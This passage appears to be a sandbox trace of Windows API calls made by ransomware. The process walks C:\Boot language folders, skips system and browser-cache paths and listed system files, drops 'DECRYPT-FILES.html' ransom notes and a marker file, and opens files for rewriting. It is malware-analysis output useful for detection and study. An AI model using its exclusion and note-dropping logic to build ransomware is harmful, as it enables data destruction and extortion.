hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.699] CloseHandle (hObject=0x300) returned 1 [0058.699] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0058.699] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0058.699] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0058.699] lstrcatW (in: lpString1="ru-RU", lpString2="\\" | out: lpString1="ru-RU\\") returned="ru-RU\\" [0058.699] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch=":\\Windows") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\Program Files") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\Games\\") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.699] StrStrW (lpFirst="C:\\Boot\\ru-RU\\", lpSrch="\\All Users") returned 0x0 [0058.699] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0058.699] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.699] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\ru-RU\\\\wevkgn5.dat") returned 26 [0058.699] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\\\wevkgn5.dat" (normalized: "c:\\boot\\ru-ru\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.700] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0058.700] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.700] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\ru-RU\\\\DECRYPT-FILES.html") returned 33 [0058.700] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\ru-ru\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.701] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.702] CloseHandle (hObject=0x304) returned 1 [0058.702] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0058.702] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0058.702] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.702] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.702] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.702] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.702] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.703] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.703] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0058.703] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.703] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\ru-RU\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0058.703] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0058.703] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.703] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.703] CloseHandle (hObject=0x0) returned 0 [0058.703] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.704] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.704] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.704] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.704] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.704] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0058.704] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.704] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\ru-RU\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0058.704] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\ru-RU\\wevkgn5.dat") returned="C:\\Boot\\ru-RU\\wevkgn5.dat" [0058.704] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.705] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\wevkgn5.dat" (normalized: "c:\\boot\\ru-ru\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.705] CloseHandle (hObject=0x0) returned 0 [0058.705] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.705] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.705] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.705] CloseHandle (hObject=0x300) returned 1 [0058.705] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0058.705] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0058.705] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0058.705] lstrcatW (in: lpString1="sv-SE", lpString2="\\" | out: lpString1="sv-SE\\") returned="sv-SE\\" [0058.705] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0058.705] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch=":\\Windows") returned 0x0 [0058.705] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\Program Files") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\Games\\") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.706] StrStrW (lpFirst="C:\\Boot\\sv-SE\\", lpSrch="\\All Users") returned 0x0 [0058.706] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0058.706] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.706] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\sv-SE\\\\wevkgn5.dat") returned 26 [0058.706] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\\\wevkgn5.dat" (normalized: "c:\\boot\\sv-se\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.706] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0058.706] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.706] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\sv-SE\\\\DECRYPT-FILES.html") returned 33 [0058.706] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\sv-se\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.707] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.708] CloseHandle (hObject=0x304) returned 1 [0058.708] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0058.708] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0058.708] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.708] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.708] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.708] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.708] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.708] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.708] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.708] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.708] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.709] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.709] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.709] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.709] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.709] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.709] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.709] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0058.709] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.709] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\sv-SE\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0058.709] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0058.709] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.709] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.710] CloseHandle (hObject=0x0) returned 0 [0058.710] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.710] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.710] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.710] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.710] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.710] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.710] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.710] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.710] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.711] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.711] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.711] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.711] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.711] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.711] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0058.711] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.711] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\sv-SE\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0058.711] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\sv-SE\\wevkgn5.dat") returned="C:\\Boot\\sv-SE\\wevkgn5.dat" [0058.711] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.711] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\wevkgn5.dat" (normalized: "c:\\boot\\sv-se\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.711] CloseHandle (hObject=0x0) returned 0 [0058.711] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.712] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.712] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.712] CloseHandle (hObject=0x300) returned 1 [0058.712] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0058.712] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0058.712] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0058.712] lstrcatW (in: lpString1="tr-TR", lpString2="\\" | out: lpString1="tr-TR\\") returned="tr-TR\\" [0058.712] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch=":\\Windows") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\Program Files") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\Games\\") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.712] StrStrW (lpFirst="C:\\Boot\\tr-TR\\", lpSrch="\\All Users") returned 0x0 [0058.712] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0058.712] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.712] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\tr-TR\\\\wevkgn5.dat") returned 26 [0058.712] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\\\wevkgn5.dat" (normalized: "c:\\boot\\tr-tr\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.713] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0058.713] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.713] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\tr-TR\\\\DECRYPT-FILES.html") returned 33 [0058.713] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\tr-tr\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.921] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.922] CloseHandle (hObject=0x304) returned 1 [0058.922] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0058.922] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0058.922] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88d28f90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d28f90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, 